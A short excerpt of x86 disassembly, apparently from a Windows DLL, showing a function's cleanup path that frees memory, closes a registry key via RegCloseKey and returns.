jb 0x10041b8b
mov esi, dword [esi - 4]
add ebx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041ba7
push ebx
push esi
call fcn.1011a823
add esp, 8
pop esi
pop ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret
call fcn.10125fc5
int3